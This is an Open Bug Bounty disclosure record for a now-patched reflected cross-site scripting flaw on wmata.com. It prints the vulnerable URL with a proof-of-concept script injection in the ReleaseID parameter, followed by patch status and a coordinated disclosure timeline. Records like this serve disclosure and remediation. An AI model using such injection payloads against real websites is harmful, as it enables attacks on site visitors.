wmata.com XSS vulnerability

2016-07-16T05:07:00
ID OBB:167051
Type openbugbounty
Reporter 1995eaton
Modified 2017-07-27T10:51:00

Description

Vulnerable URL:
http://wmata.com/about_metro/news/PressReleaseDetail.cfm?ReleaseID=");}alert('OPENBUGBOUNTY');{//
Details:

Description| Value
---|---
Patched:| Yes, at 27.07.2017
Latest check for patch:| 27.07.2017 10:51 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 14120
VIP website status:| Yes
Check wmata.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 16 July, 2016 05:07 GMT
Generic security notifications sent to website owner| 16 July, 2016 05:10 GMT
Notification sent to subscribers (without technical details)| 16 July, 2016 06:17 GMT
Vulnerability details disclosed by researcher| 6 August, 2016 05:12 GMT
Vulnerability patched by the website owner| 27 July, 2017 10:51 GMT